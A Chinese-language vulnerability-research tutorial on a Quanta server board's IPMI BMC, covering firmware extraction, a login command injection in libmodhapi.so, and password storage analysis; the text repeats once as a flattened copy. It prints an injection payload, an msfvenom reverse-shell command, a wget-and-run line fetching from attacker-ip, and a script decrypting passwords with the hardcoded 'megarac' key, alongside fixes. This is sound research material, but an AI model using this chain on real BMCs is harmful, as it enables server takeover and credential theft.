一次对服务器主板IPMI BMC的漏洞挖掘
字数 1297 2025-08-22 12:22:48

IPMI BMC漏洞挖掘与分析实战教程

0x00 背景知识

IPMI与BMC简介

IPMI (Intelligent Platform Management Interface) 是服务器主板上的管理接口标准,BMC (Baseboard Management Controller) 是实现IPMI的独立管理芯片。主要功能包括:

  • 远程电源管理(开关机、重启)
  • 温度监控
  • 视频重定向
  • 系统日志收集
  • 独立于主系统运行

常见管理接口

服务器BMC通常提供三种管理方式:

  1. IPMI:通过ipmitool等工具进行命令行管理
  2. Web界面:基于HTTP/HTTPS的图形化管理
  3. SSH:命令行远程访问

0x01 环境准备与初步探测

硬件准备

  • 广达工包测试板(Quanta OEM主板)
  • 独立BMC芯片:AST2400 ARM SoC
  • 独立SPI Flash存储

初始发现

  1. 使用ipmitool可以连接但功能受限
  2. 通过IPMI raw命令开启BMC Web服务:
    ipmitool raw 0x32 0x6a 0x20 0x00 0x00 0x00 0x01 0x00
    
  3. 端口扫描发现443端口开放但无法正常访问
  4. SSH连接后立即断开

0x02 固件提取与分析

固件提取方法

  1. 使用专用工具socflash提取SPI Flash内容:

    socflash_64.exe -b dump.bin
    
  2. 使用binwalk分析固件结构:

    binwalk dump.bin
    binwalk -e dump.bin
    

固件结构分析

  • u-boot:引导程序
  • Linux内核:ARM架构
  • rootfs:CramFS格式的根文件系统
  • JFFS2:配置文件分区
  • Web静态文件:另一个CramFS打包

0x03 Web登录漏洞分析

漏洞定位

  1. 分析lighttpd配置文件,找到API处理库libmodhapi.so
  2. 使用IDA Pro逆向分析,发现字符串"Parameter Error!"
  3. 追踪到登录认证函数,发现命令注入漏洞

漏洞代码分析

认证逻辑存在直接拼接用户输入到system()调用的问题:

// 伪代码示例
char cmd[256];
sprintf(cmd, "check_auth %s %s", username, password);
system(cmd);  // 直接执行拼接的命令

漏洞验证

使用Burp Suite构造恶意请求:

POST /api/login HTTP/1.1
Host: bmc-ip
Content-Type: application/x-www-form-urlencoded

username=admin&password=$(id>./test)

0x04 获取反向Shell

挑战

  • 嵌入式BusyBox环境缺少常用工具(bash, nc等)
  • 需要上传自定义二进制

解决方案

  1. 使用msfvenom生成ARM小端序payload:

    msfvenom -p linux/armle/meterpreter/reverse_tcp LHOST=192.168.2.132 LPORT=4445 -f elf > meterpreter.elf
    
  2. 通过命令注入下载并执行:

    wget http://attacker-ip/meterpreter.elf -O /tmp/meterpreter.elf
    chmod +x /tmp/meterpreter.elf
    /tmp/meterpreter.elf
    

0x05 密码安全分析

密码加密机制

  1. 使用Blowfish ECB模式加密
  2. 硬编码密钥:"megarac"(存储在/conf/pwdEncKey)
  3. Base64编码的加密密码

解密脚本

import blowfish
import base64

data = [
    b"jT+Yah6ySlTO9NOzIXxkogAAAAAAAAAA",
    b"OY7fIRe9fsQkinACXfgmUQAAAAAAAAAA",
    b"zvTTsyF8ZKLO9NOzIXxkogAAAAAAAAAA",
    b"f23Dq/SFBErO9NOzIXxkogAAAAAAAAAA",
    b"masB7IKqyJ1+7HMeU4vo9wAAAAAAAAAA"
]

def decrypt(cipherText):
    cipher = blowfish.Cipher(b"megarac")
    decrypted = b"".join(cipher.decrypt_ecb(base64.b64decode(cipherText)))
    return decrypted

for i in data:
    print(decrypt(i))

0x06 修复建议

  1. 命令注入漏洞

    • 使用安全的API调用替代system()
    • 对用户输入进行严格过滤
    • 使用白名单验证输入
  2. 密码安全

    • 使用标准哈希算法(如SHA-256)替代对称加密
    • 每个设备使用唯一密钥
    • 实现盐值(salt)机制
  3. SSH配置

    • 修复指向错误配置文件的路径
    • 实现正确的服务初始化检查

0x07 总结

本案例展示了从硬件探测到漏洞利用的完整过程,关键点包括:

  1. IPMI raw命令的灵活使用
  2. 嵌入式固件提取与分析技术
  3. 命令注入漏洞的发现与利用
  4. 受限环境下的反向Shell获取
  5. 嵌入式设备常见的安全问题分析

这种分析不仅适用于服务器BMC,也适用于各类IoT设备的漏洞挖掘与安全评估。

IPMI BMC漏洞挖掘与分析实战教程 0x00 背景知识 IPMI与BMC简介 IPMI (Intelligent Platform Management Interface) 是服务器主板上的管理接口标准,BMC (Baseboard Management Controller) 是实现IPMI的独立管理芯片。主要功能包括: 远程电源管理(开关机、重启) 温度监控 视频重定向 系统日志收集 独立于主系统运行 常见管理接口 服务器BMC通常提供三种管理方式: IPMI :通过ipmitool等工具进行命令行管理 Web界面 :基于HTTP/HTTPS的图形化管理 SSH :命令行远程访问 0x01 环境准备与初步探测 硬件准备 广达工包测试板(Quanta OEM主板) 独立BMC芯片:AST2400 ARM SoC 独立SPI Flash存储 初始发现 使用ipmitool可以连接但功能受限 通过IPMI raw命令开启BMC Web服务: 端口扫描发现443端口开放但无法正常访问 SSH连接后立即断开 0x02 固件提取与分析 固件提取方法 使用专用工具socflash提取SPI Flash内容: 使用binwalk分析固件结构: 固件结构分析 u-boot :引导程序 Linux内核 :ARM架构 rootfs :CramFS格式的根文件系统 JFFS2 :配置文件分区 Web静态文件 :另一个CramFS打包 0x03 Web登录漏洞分析 漏洞定位 分析lighttpd配置文件,找到API处理库 libmodhapi.so 使用IDA Pro逆向分析,发现字符串"Parameter Error !" 追踪到登录认证函数,发现命令注入漏洞 漏洞代码分析 认证逻辑存在直接拼接用户输入到system()调用的问题: 漏洞验证 使用Burp Suite构造恶意请求: 0x04 获取反向Shell 挑战 嵌入式BusyBox环境缺少常用工具(bash, nc等) 需要上传自定义二进制 解决方案 使用msfvenom生成ARM小端序payload: 通过命令注入下载并执行: 0x05 密码安全分析 密码加密机制 使用Blowfish ECB模式加密 硬编码密钥:"megarac"(存储在/conf/pwdEncKey) Base64编码的加密密码 解密脚本 0x06 修复建议 命令注入漏洞 : 使用安全的API调用替代system() 对用户输入进行严格过滤 使用白名单验证输入 密码安全 : 使用标准哈希算法(如SHA-256)替代对称加密 每个设备使用唯一密钥 实现盐值(salt)机制 SSH配置 : 修复指向错误配置文件的路径 实现正确的服务初始化检查 0x07 总结 本案例展示了从硬件探测到漏洞利用的完整过程,关键点包括: IPMI raw命令的灵活使用 嵌入式固件提取与分析技术 命令注入漏洞的发现与利用 受限环境下的反向Shell获取 嵌入式设备常见的安全问题分析 这种分析不仅适用于服务器BMC,也适用于各类IoT设备的漏洞挖掘与安全评估。